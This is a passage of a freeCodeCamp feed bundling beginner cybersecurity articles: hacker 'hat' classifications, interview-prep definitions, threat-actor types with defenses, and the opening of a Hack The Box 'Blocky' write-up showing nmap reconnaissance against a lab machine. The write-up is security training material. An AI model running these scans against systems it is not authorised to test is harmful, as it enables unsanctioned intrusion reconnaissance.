<p><img src="https://miro.medium.com/max/1400/1*Wme1T4nYK463bfqHVjAHvA.jpeg" alt="Hats on silhoettes" width="600" height="400" loading="lazy">
<em>Hats on Silhoettes | Credit: Wallpaperflare.com</em></p>
<p>A hacker is an individual who uses their skills to breach cybersecurity defences. In the world of Cybersecurity, hackers are typically classified by a ‘hat’ system. This system likely came from old cowboy film culture where the good characters typically wore white hats and the bad ones wore black hats.</p>
<p>There are 3 major hats in the cyberspace:</p>
<ol>
<li>White Hats </li>
<li>Grey Hats</li>
<li>Black Hats</li>
</ol>
<p>However, there are some others that have also cropped up over time such as:</p>
<ol>
<li>Green Hats</li>
<li>Blue Hats</li>
<li>Red Hats</li>
</ol>
<p>Let’s dive in and learn what all these different types of hackers do, shall we? 🙃</p>
<h2 id="heading-white-hat-hackers">White Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*Q_3O7-T-Ka3H3VEigqmSPQ.jpeg" alt="Captain America" width="600" height="400" loading="lazy">
<em>Captain America | Credit: Wallpaperaccess.com</em></p>
<p>White hats are just like Marvel’s Captain America 🛡️. No matter the day, time, or age, they always stand up for what’s right and protect civilians and organizations at large by finding and reporting vulnerabilities in systems before the black hats do. </p>
<p>They usually work for organizations and take roles such as a Cybersecurity Engineer, Penetration Tester, Security Analyst, CISO (Chief Information Security Officer), and other security positions.</p>
<p>Under these organizations they perform tasks such as:</p>
<ol>
<li>Scanning networks</li>
<li>Configuring IDSs (Intrusion Detection Systems)</li>
<li>Ethically hacking computers to find vulnerabilities and report them so they can be addressed</li>
<li>Programming honeypots (Traps for the attackers 😼)</li>
<li>Monitoring network activity for suspicious activity</li>
</ol>
<p>Famous examples of such hackers include:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Jeff_Moss_(hacker)">Jeff Moss</a> (DEF CON founder)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Richard_Stallman">Richard Stallman</a> (Founder of the GNU project)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Tim_Berners-Lee">Tim Burners-Lee</a> (Creator of the World Wide Web)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Linus_Torvalds">Linus Torvalds</a> (Creator of Linux)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Tsutomu_Shimomura">Tsutomu Shimomura</a> (The man that caught Kevin Mitnick)</li>
</ol>
<p>And if you want to hear more from the founder of a cybersecurity company herself, <a target="_blank" href="https://www.freecodecamp.org/news/podcast-rachel-tobac/">check out this podcast featuring Rachel Tobac</a>.</p>
<h2 id="heading-grey-hat-hackers">Grey Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*VPb8xXtNyyOIswm_Syvi8w.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>Batman | Credit: Alphacoders.com</em></p>
<p>DCs’ Dark Knight and grey hat hackers have a lot in common 🦇. They both want to stand up for the right thing but use rather unconventional methods to do so. </p>
<p>Grey hat hackers are the balance between white hats and black hats. In contrast to white hats, they do not ask for permission to hack systems but do not perform any other illegal activities like black hat hackers.</p>
<p>Grey hats have quite a controversial history. This makes them hard to really classify, especially if their moral compass goes a little haywire down the line or what they did seems more black hat-ish than white hat-ish. Some even end up in jail for what they do. </p>
<p>But there are some that rise to be the heroes of the people and the enemy of the government and big organizations.</p>
<p>Some (in)famous examples of grey hat hackers are:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Anonymous_(hacker_group)#2022">Anonymous</a> (World famous hacktivist group)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/H._D._Moore">HD Moore</a> (Creator of Metasploit)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Adrian_Lamo">Adrian Lamo</a> (aka the homeless hacker)</li>
<li><a target="_blank" href="https://edition.cnn.com/2013/08/19/tech/social-media/zuckerberg-facebook-hack/index.html">Khalil Shreateh</a> (Hacked the facebook account of Mark Zuckerburg 🤣)</li>
</ol>
<h2 id="heading-black-hat-hackers">Black Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*9nsMsIU_0gRjOkiwa3TxQg.jpeg" alt="The Joker" width="600" height="400" loading="lazy">
<em>The Joker | Credit: Wallpapersden.com</em></p>
<p>Time to introduce the harmful lot 🃏. The Joker and Black Hats are like peas in a pod. They perform illegal activities for financial gain, the challenge, or simply for the fun of it. </p>
<p>They look for computers that are vulnerable over the internet, exploit them, and use them to whatever advantage they can.</p>
<p>Black Hats use techniques for getting into systems just like white hats. However, they don’t use their defensive skills – rather, they up their game on the attack by doing things such as:</p>
<ol>
<li>Installing backdoors</li>
<li>Maintaining access to compromised systems</li>
<li>Performing privilege escalation</li>
<li>Downloading private/sensitive/intellectual data</li>
<li>Installing malware such as ransomware</li>
<li>Creating phishing emails and links</li>
</ol>
<p>Examples of infamous black hats include:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Kevin_Mitnick">Kevin Mitnick</a> (Most wanted cybercriminal in U.S history)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Julian_Assange">Julian Assange</a> aka Mendax (Creator of Wikileaks)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Hamza_Bendelladj">Hamza Bendelladj aka Bx1</a> (Latter owner of the ZeuS Banking Malware)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Kevin_Poulsen">Kevin Poulsen</a> (Dark Dante)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris">Robert Tappan Morris</a> (Creator of the morris worm)</li>
</ol>
<p>Mitnick, Poulsen, and Morris were criminally charged, served their sentences, and are good guys now. Mitnick founded a cybersecurity company. Poulsen created SecureDrop. And Morris became a professor at MIT (Don’t you just love a happy ending? 🤧).</p>
<h2 id="heading-green-hat-hackers">Green Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*quuAX42p8KI_4ykALHwZQA.jpeg" alt="Ms Marvel" width="600" height="400" loading="lazy">
<em>Ms Marvel | Credit: Wallpapercave.com</em></p>
<p>Ms Marvel and Green hats are a match made in heaven 🌟. They are both young, enthusiastic, inexperienced and have the tendency to take risks and learn from their mistakes. Green hats are hackers that are new to the industry but are willing to learn to become great hackers.</p>
<p>Because of the availability and easy of use of hacking tools these days, it's pretty easy for a green hat to end up in trouble as they may not fully understand the full workings of the tool or target. But, they learn from their errors to gather experience. </p>
<p>Green hats may upgrade to White, Grey, or Black Hat hackers as they continue to move up the ranks.</p>
<h2 id="heading-blue-hat-hackers">Blue Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*AliPb8msD7Y9lTQCgnZO7Q.jpeg" alt="John Wick" width="600" height="400" loading="lazy">
<em>John Wick | Credit: Wallpaperswide.com</em></p>
<p>Okay, I know. John Wick isn’t a part of either DC or Marvel but Dynamite Comics’ greatest hitman is a favourite of any fan 🐶. </p>
<p>Mr Wick and Blue hat hackers share the same ideology: Revenge. You kill John Wicks dog, he’ll come after you. You bully or threaten a blue hat, they will also come after you, except it's your digital life on the gallows.</p>
<p>But due to what I can only guess to be cultural differences, a blue hat could also mean an external security professional brought in to test software for vulnerabilities prior to its release.</p>
<h2 id="heading-red-hat-hackers">Red Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*kEAW09PzbhQNC0Se6EBUaA.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>The Punisher | Credit: Wallpaperflare.com</em></p>
<p>I think the character says it all ☠. The Punisher is a ruthless anti-hero that stands up for what is right but is never ever (and I mean ever 😬) going to give criminals second chances. </p>
<p>Red hats are the same. They target cybercriminals and damage whatever they can to disable criminal activities, permanently.</p>
<p>Red hats are hackers no one wants to mess with, not even a black hat. Other hackers usually attack Microsoft Windows computers but these hackers, they hack Linux computers. </p>
<p>They have no regrets, don’t think twice, and make black hats pay rather severely for their crimes by taking justice into their hands. They do this by destroying all data and backups of their target, and usually render the system useless.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>And on that terrifying note, we have come to the end of this article. I hope you enjoyed it. And as I always say, Happy hacking! 🙃</p>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used put this post together. You guys are amazing.</p>
<h3 id="heading-helpful-resources">Helpful Resources</h3>
<ol>
<li><a target="_blank" href="https://www.kaspersky.com/resource-center/threats/what-is-a-honeypot">What is a honeypot</a>?</li>
<li><a target="_blank" href="https://www.pandasecurity.com/en/mediacenter/security/14-types-of-hackers-to-watch-out-for/">Many more classifications of hats</a></li>
</ol>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Learn to Speak the Security Lingo – Interview Prep for Cybersecurity Job Interviews ]]>
                </title>
                <description>
                    <![CDATA[ By Megan Kaczanowski This article will serve as a quick and dirty guide to some of the most commonly asked interview questions for entry-level security jobs. What's the difference between an allowlist and a denylist? With an Allowlist, everything is ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/learn-to-speak-the-security-lingo/</link>
                <guid isPermaLink="false">66d46063e39d8b5612bc0ddd</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 01 Feb 2021 16:01:00 +0000</pubDate>
                <media:content url="https://cdn-media-2.freecodecamp.org/w1280/5f9c9692740569d1a4ca11bd.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Megan Kaczanowski</p>
<p>This article will serve as a quick and dirty guide to some of the most commonly asked interview questions for entry-level security jobs.</p>
<h2 id="heading-whats-the-difference-between-an-allowlist-and-a-denylist">What's the difference between an allowlist and a denylist?</h2>
<p><strong>With an Allowlist</strong>, everything is denied access, except items which are on the list. </p>
<p>For example, a company might compile a list of all authorized company applications, and block all applications not on this list from running.</p>
<p> This is a very effective way to prevent problematic software from running in your environment, as it blocks by default.</p>
<p><strong>With a Denylist</strong>, only items on the list are denied access. </p>
<p>For example, a company might deny certain websites, or categories (like porn, gaming, and so on). </p>
<p>This is somewhat effective, however given how categories are sometimes incorrect, and malicious software changes extremely quickly, it is not as effective as allowlisting and is often more reactive.</p>
<h2 id="heading-whats-the-difference-between-a-penetration-test-and-a-bug-bounty-which-one-is-better">What's the difference between a penetration test and a bug bounty? Which one is better?</h2>
<p><strong>A Pen Test (or Penetration Test)</strong> is where a company hires a tester or firm (with non-disclosure agreements, or NDAs) to simulate an attacker. They will operate within a pre-defined scope during a limited time period, write up a report on their findings, and include recommended remediation steps. </p>
<p>Pen testers aren’t designed to find every weakness in a system (though they will try to identify as many vulnerabilities as possible). These are generally used by mature organizations (because for the test to be effective, an organization needs to be able to remediate any identified vulnerabilities).</p>
<p><strong>Bug Bounties</strong>, on the other hand, open up the process of searching a company’s system for vulnerabilities to everyone on the bug bounty platform. </p>
<p>This leverages crowds (and therefore might find more vulnerabilities), but the number of vulnerabilities found likely depends on the interest of the crowd (continuous coverage isn’t guaranteed). Also, it doesn’t guarantee the same level of reporting as does a pen test (you might not have enough hackers who have the specific skill set testing your tool/application/website requires). </p>
<p>Further, a bug bounty program shouldn’t be undertaken without a plan in place for remediation of vulnerabilities (the security posture of the company should be relatively mature).</p>
<p><strong>Further Reading:</strong> What are <a target="_blank" href="https://www.freecodecamp.org/news/whats-a-bug-bounty-program/">Bug Bounties</a>, how do they work, and who should use them?</p>
<h2 id="heading-whats-the-difference-between-threat-vulnerability-and-risk-how-do-you-decide-what-to-focus-on">What's the difference between threat, vulnerability, and risk? How do you decide what to focus on?</h2>
<p>A <strong>threat</strong> is a negative event which leads to an unwanted result. This includes an employee who clicks on a phishing link, a developer who misconfigures a database instance, or an earthquake which destroys your data center.</p>
<p>A <strong>threat actor</strong> is the person, group, or entity which is responsible for the event.</p>
<p>A <strong>vulnerability</strong> is a weakness in a system (such as lack of physical access control to a data center, SQL injection, and so on) that a threat actor can exploit.</p>
<p>A <strong>risk</strong> is the chance of a negative event (how likely is the bad thing to happen) and the impact of that event (how bad is the bad thing). A risk is commonly calculated by multiplying the likelihood x the impact.</p>
<p><strong>Threat modeling</strong> is a process for identifying threats to a particular target, understanding them, and prioritizing them. This process is designed to answer the questions, ‘what type of actor is likely to target me?’ ‘where am I most vulnerable?’ ‘what are my high value assets?’.</p>
<p><strong>Further Reading:</strong> <a target="_blank" href="https://redcanary.com/blog/threat-modeling/">An intro to threat modeling</a>.</p>
<h2 id="heading-whats-the-difference-between-red-blue-and-purple-teams">What's the difference between red, blue, and purple teams?</h2>
<p><strong>Red Team:</strong> Red teams are offense (breaking into systems).</p>
<p><strong>Blue Team:</strong> Blue teams are on defense (defending systems).</p>
<p><strong>Purple Team:</strong> Ideally a team which integrates the red and blue team in a way which facilitates them learning from each other and improves the security of the overall organization.</p>
<h2 id="heading-whats-the-difference-between-an-event-an-alert-and-an-incident">What's the difference between an event, an alert, and an incident?</h2>
<p>An <strong>event</strong> is an aberration from normal system behavior.</p>
<p>An <strong>alert</strong> is a notification set to be sent when a specific event or series of events occurs.</p>
<p>An <strong>incident</strong> is an event with a negative impact on the organization (examples: a user downloads malware onto the network and it spreads, credential are pasted online by an attacker, and so on). Not every event becomes an incident.</p>
<h2 id="heading-whats-the-difference-between-encoding-encryption-and-hashing">Whats the difference between encoding, encryption, and hashing?</h2>
<p><strong>Encoding</strong> is a way of converting data from one format to another (for example from text to ASCII). It's not inherently a security function. </p>
<p><strong>Encryption</strong> is a way of hiding a message with the intent of only allowing the intended recipient to understand the meaning of the message. </p>
<p>It is a two way function (you need to be able to undo whatever scrambling you’ve done to the message). This is designed to protect data in transit.</p>
<p><strong>Hashing</strong> is a one-way function (it can't be reversed) which converts a variable length message to a fixed length string which is unique for each message. </p>
<p>Hashes are used as a space-efficient way to store data, and a secure way to store passwords. If a password is stored as a hash, even if the computer is compromised the data is still safe (because the function can't be reversed). When the user enters a password, the computer can just use the same hashing function to convert the password into a hash, which it can compare to the stored hash to see if they match. </p>
<p>Hashing functions are also used to create message digests in order to verify that a message hasn't been changed in transit.</p>
<p><strong>Further Reading:</strong> Learn more about what <a target="_blank" href="https://www.freecodecamp.org/news/an-intro-to-password-cracking/">hashing is here</a>, and how <a target="_blank" href="https://www.freecodecamp.org/news/why-a-little-salt-can-be-great-for-your-passwords/">encryption works here</a>.</p>
<h2 id="heading-should-you-encrypt-or-compress-data-first">Should you encrypt or compress data first?</h2>
<p>Compress, then encrypt. If you encrypt first, you’ll only have random data to work with, which removes the benefits of compression.</p>
<h2 id="heading-what-is-salting">What is salting?</h2>
<p><strong>Salting</strong> is the process of adding random values to the end of data, like a password, and then hashing the value. </p>
<p>This protects against brute force attacks (when an attacker tries every possible combination of letters and numbers until the password is found) as it makes it harder for an attacker to guess.</p>
<p><strong>Further Reading:</strong> Learn more about <a target="_blank" href="https://www.freecodecamp.org/news/why-a-little-salt-can-be-great-for-your-passwords/">salting here</a>.</p>
<h2 id="heading-is-tls-ssl-or-https-more-secure">Is TLS, SSL, or HTTPS more secure?</h2>
<p><strong>TLS (Transport Layer Security)</strong> is a cryptographic protocol which helps secure communications over a network.</p>
<p><strong>SSL (Secure Sockets Layer)</strong> is the predecessor to TLS, and is largely depreciated.</p>
<p><strong>HTTPS (Hypertext Transfer Protocol Secure)</strong> is just HTTP encrypted with SSL or TLS (typically TLS, since it has largely replaced SSL). Since you can't have HTTPS without SSL or TLS, this is a trick question.</p>
<h2 id="heading-what-port-does-ping-work-over">What port does ping work over?</h2>
<p>Again, a trick question, as ping is a layer 3 protocol which uses ICMP and doesn't work over a port at all.</p>
<h2 id="heading-what-protocol-does-dns-use">What protocol does DNS use?</h2>
<p><strong>UDP</strong> is used for name and regular or reverse queries, as well as any information smaller than 512 bytes.</p>
<p><strong>TCP</strong> is used for zone transfer and information larger than 512 bytes. Also, if a client doesn't get a response, it will retransmit the data using TCP.</p>
<h3 id="heading-looking-for-more-interview-prep-resources">Looking for more interview prep resources?</h3>
<ul>
<li><a target="_blank" href="https://danielmiessler.com/study/infosec_interview_questions/">60 Cybersecurity Interview Questions</a></li>
<li><a target="_blank" href="https://tisiphone.net/category/security-education/">Lesley Carhart's Infosec Career Advice</a></li>
<li><a target="_blank" href="https://www.troyhunt.com/careers-in-security-ethical-hacking-and-advice-on-where-to-get-started/">Troy Hunt's Career Advice</a></li>
<li><a target="_blank" href="http://www.securitybsides.com/w/page/12194156/FrontPage">Local BSides Events</a></li>
<li><a target="_blank" href="https://www.wicys.org/career-central">WiCyS Career Resources</a></li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Types of Hackers – And How to Defend Against Them ]]>
                </title>
                <description>
                    <![CDATA[ By Megan Kaczanowski If you want to protect systems, you need to understand whom you’re defending them from.  Many of the attackers you’ll face will fall into several different groups. These different groups often use very different tactics, techniqu... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/types-of-hackers/</link>
                <guid isPermaLink="false">66d4607255db48792eed3f91</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 01 Jul 2020 02:44:00 +0000</pubDate>
                <media:content url="https://cdn-media-2.freecodecamp.org/w1280/5f9c9694740569d1a4ca11c6.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Megan Kaczanowski</p>
<p>If you want to protect systems, you need to understand whom you’re defending them from. </p>
<p>Many of the attackers you’ll face will fall into several different groups. These different groups often use very different tactics, techniques, and procedures (TTPs) for attacking systems. </p>
<p>Identifying which actors or groups of actors may target your systems can help prioritize the mitigations which are most important.</p>
<h2 id="heading-script-kiddies">Script Kiddies:</h2>
<p>Script kiddies are technically inexperienced hackers. Often they’re young – even teenagers. They don’t know how to write their own code or exploits, but can use tools others have developed. They're often motivated by fun.</p>
<p>They commonly use phishing attacks, tools they’ve bought from others on dark web marketplaces, or free tools. They’ve been associated with hacks on video game companies, <a target="_blank" href="https://www.wired.com/story/xbox-underground-videogame-hackers/">like this one</a>. </p>
<h2 id="heading-cyber-criminals">Cyber Criminals:</h2>
<p>Cyber criminals range in technical sophistication from script kiddies to organized gangs, where each member fulfills a different role in the cyber crime ring. They are responsible for the <a target="_blank" href="https://enterprise.verizon.com/resources/reports/dbir/">majority</a> of data breaches and are primarily motivated by money. They’re known for ATM fraud (‘jackpotting’), credit card and gift card theft, ransomware, and data theft (among other attacks).</p>
<p>The most common attack from cyber criminals is mass phishing campaigns, as these can be used to distribute ransomware or enable data theft. When an unwary user clicks the link or opens the attachment, ransomware (malicious software which will lock their files until they pay a ransom (usually in digital currency)) will infect their machine. </p>
<p>Alternatively, the phishing link might ask for a user’s credentials (username and password) and then use that information to steal information or blackmail the user. </p>
<p>Large scale phishing campaigns like this are very technically easy to execute, and are <a target="_blank" href="https://www.businessinsider.com/scammers-squeezed-330000-people-webcam-porn-2019-2">extremely</a> <a target="_blank" href="https://thenextweb.com/hardfork/2019/02/22/bitcoin-sex-scam-blackmailers/">profitable</a>.</p>
<p>Protecting against cyber criminals is generally a matter of being more secure than your 'neighbors' as cyber criminals are looking for the easiest target. </p>
<p>Automated spam filtering, scanning of email attachments and links, and measures such as DMARC, SPF, and DKIM can help reduce the number of phishing emails delivered to your users. Security awareness programs can also help users identify phishing emails missed by the filters and report them to your security team.</p>
<p>In the last few years, this has changed somewhat, as <a target="_blank" href="https://arstechnica.com/information-technology/2019/10/fbi-warns-of-major-ransomware-attacks-as-criminals-go-big-game-hunting/">big game hunting</a> has become more popular. </p>
<p>Essentially this is when cybercriminals choose a large entity (often one which has a low tolerance for downtime) to target and spend weeks or months working to break into the target's network, specifically looking for high value assets. </p>
<p>They will then deploy ransomware and use the company's inability to deal with downtime to negotiate for a ransom (in addition to exfiltrating data and leveraging the threat of that data being leaked to induce a company to pay the ransom). </p>
<p>The criminals tend to be relatively sophisticated, prioritizing stealth. Protecting against these groups is much more difficult and depends upon a layered defense (myriad protection and alerting mechanisms in order to protect systems, detect intrusions, and mitigate vulnerabilities).</p>
<h2 id="heading-hacktivists">Hacktivists:</h2>
<p>Hacktivists are motivated by issues (political, economic, religious, and so on). Some of these actors are solo actors, and some are in groups such as <a target="_blank" href="https://www.wired.com/2011/11/anonymous-101/">Anonymous</a> (known for a series of attacks on the Church of Scientology).</p>
<p>These groups often use DDoS (distributed denial of service) attacks and website defacements. A DDoS attack is when an attacker overwhelms a server with so many requests that it is unable to handle the traffic and crashes (often using a botnet). Website defacements occur when a group takes down the message or images currently displayed on a website and replaces them with their own. </p>
<p>Hacktivists are not generally motivated by money or data theft (unless they think if the data is exposed it will incriminate or embarrass the target), but instead want to spread their message or publicize their cause.</p>
<p>Protecting against these attacks is a matter of scanning public facing websites for vulnerabilities, having an incident response team (and an incident response plan!), and having protections in place to mitigate traffic spikes (for example Amazon Shield for AWS).</p>
<h2 id="heading-insider-threat">Insider Threat:</h2>
<p>Insider threat can be broadly split into two groups: malicious insiders, and accidental insiders.</p>
<ul>
<li>Malicious insiders are those who have been compromised by an outsider, or who have decided to steal from the organization for personal gain. People who are angry about being fired or missed over for a promotion and want revenge, or who are trying to steal information for insider trading are malicious insiders.</li>
<li>Accidental insiders include those who have clicked a phishing link (and had their account compromised), misconfigured a database, or accidentally sent sensitive information to the wrong person.</li>
</ul>
<p>Regardless of an insider’s motivations, they pose one of the <a target="_blank" href="https://www.sentinelone.com/blog/top-7-most-disturbing-data-breaches-in-2018/">most</a> <a target="_blank" href="https://www.venafi.com/blog/deciphering-how-edward-snowden-breached-the-nsa">dangerous</a> <a target="_blank" href="https://www.observeit.com/blog/5-examples-of-insider-threat-caused-breaches/">threats</a> to any <a target="_blank" href="https://www.csoonline.com/article/3263799/insider-threat-examples-7-insiders-who-breached-security.html">organization</a>. The primary concern for insider threats should be data theft, as information is usually the target of those type of attacks.</p>
<p>Defending against insider threat should be largely driven by security awareness. People want to be helpful, which is a trait hackers will exploit through social engineering attacks to gain information. </p>
<p>Security programs usually use security training, Security Champions programs, and awareness initiatives to educate their employees about this threat. In addition, comprehensive monitoring of internal networks for unusual behavior (often using user behavior analytics) can help you identify and mitigate insider threats.</p>
<h2 id="heading-nation-state-attackers">Nation State Attackers:</h2>
<p>In 2018, nation state attackers were only responsible for 12% of all data breaches (<a target="_blank" href="https://enterprise.verizon.com/resources/reports/dbir/">Verizon Data Breach Report</a>). However, they are generally well-trained, well-funded, and extremely motivated. </p>
<p>Unlike insiders (who are often not well-trained) or cyber criminals (who are generally not motivated to attack specific targets), once nation-state attackers (also known as APT, or Advanced Persistent Threats) have targeted your organization, they are unlikely to stop until they have penetrated the organization. </p>
<p>These types of attackers are often salaried employees, who are employed by intelligence agencies around the world. Nation state goals vary by country, but are generally designed to advance the country's political and economic goals.</p>
<p>These attackers are known for a range of tactics (anything which will help them compromise your organization), but have been known to use spear phishing attacks, custom malware, and zero day attacks. </p>
<p>Unlike cyber criminals who want to quickly monetize assets, nation state attackers will often seek long term access to your infrastructure. They will do their best to gain initial access quietly (and through multiple entry points), then move quietly through your networks, mapping out as much as they can. That way, they’re less likely to be caught, more likely to find their target, and exfiltrate data without being caught.</p>
<p>Protecting against these organizations depends upon strong security fundamentals throughout your organization (such as patch and vulnerability management programs, security awareness programs, monitoring and detection, and effective incident response, among others), and more advanced protections (such as threat intelligence, which can help you identify the threat actors which may target your organization).</p>
<h2 id="heading-why-does-it-matter-what-kind-of-attackers-are-targeting-my-organization">Why does it matter what kind of attackers are targeting my organization?</h2>
<p>Since resources aren't infinite, every security program needs to prioritize some protections over others and can't protect effectively against all attacks. They may also have limited ability to implement controls based on the needs of the business.</p>
<p>An effective security team needs to choose how to spend their influence wisely when recommending a security tool. </p>
<p>Given that, one philosophy of how to choose which controls to prioritize is to perform ‘threat modeling’. </p>
<p>At a very high level, threat modeling is designed to determine the organization's most valuable assets (or 'crown jewels') and identify the threat actors (both by high level type, and even specific groups) which are most likely to attack the organization. This may also involve determining which attacks, or types of attacks, the organization is likely to encounter. </p>
<p>This information can help the  security team determine what controls will be most effective for their environment and will provide the greatest protection for the cost. Then, the team can prioritize the most important security measures for their environment, and best use limited resources and limited influence to protect their environment from the threats they're most likely to face.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Blocky ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-blocky/</link>
                <guid isPermaLink="false">66ba3113a9ac9d8fdaa3d4e2</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Thu, 21 May 2020 10:15:25 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/05/wallpaperflare.com_wallpaper-3.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>. <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-19-at-22.23.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Blocky is fairly simple overall, and was based on a real-world machine. It demonstrates the risks of bad password practices as well as exposing internal files on a public facing system.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>nikto</li>
<li>gobuster</li>
<li>wpscan</li>
<li>jd-gui</li>
<li>hash-identifier</li>
</ul>
<p>Let's get started.</p>
<p>I add blocky on the /etc/hosts file</p>
<pre><code class="lang-bash">nano /etc/hosts
</code></pre>
<p>with</p>
<pre><code class="lang-bash">10.10.10.37     blocky.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-21.05.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-1-reconnaissance">Step 1 - Reconnaissance</h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h2 id="heading-port-scanning">Port scanning</h2>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. </p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.24.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v blocky.htb
</code></pre>
<p><strong>-A:</strong> Enable OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increase verbosity level</p>
<p><strong>blocky.htb:</strong> hostname for the Blocky box</p>
<p>If you find the results a little bit too overwhelming, you can do another command to get only the open ports.</p>
<pre><code class="lang-bash">nmap blocky.htb
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/05/Screenshot-2020-05-20-at-20.23.43.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 3 open ports:</p>
<p><strong>Port 21</strong>, File Transfer Protocol (FTP) control (command)</p>
<p><strong>Port 22</strong>, Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<h2 id="heading-directory-scanning">Directory scanning</h2>
<p>I use <strong>Gobuster</strong>. Gobuster is a directory scanner written in Go. More info on the tool <a target="_blank" href="https://tools.kali.org/web-applications/gobuster">here</a>. Gobuster uses wordlists on Kali which are located in the <strong>/usr/share/wordlists</strong> directory. I'm using wordlists from <strong>dirb</strong> and <strong>dirbuster</strong>, but you can download more wordlists from <strong>SecLists</strong> <a target="_blank" href="https://github.com/danielmiessler/SecLists">here</a></p>
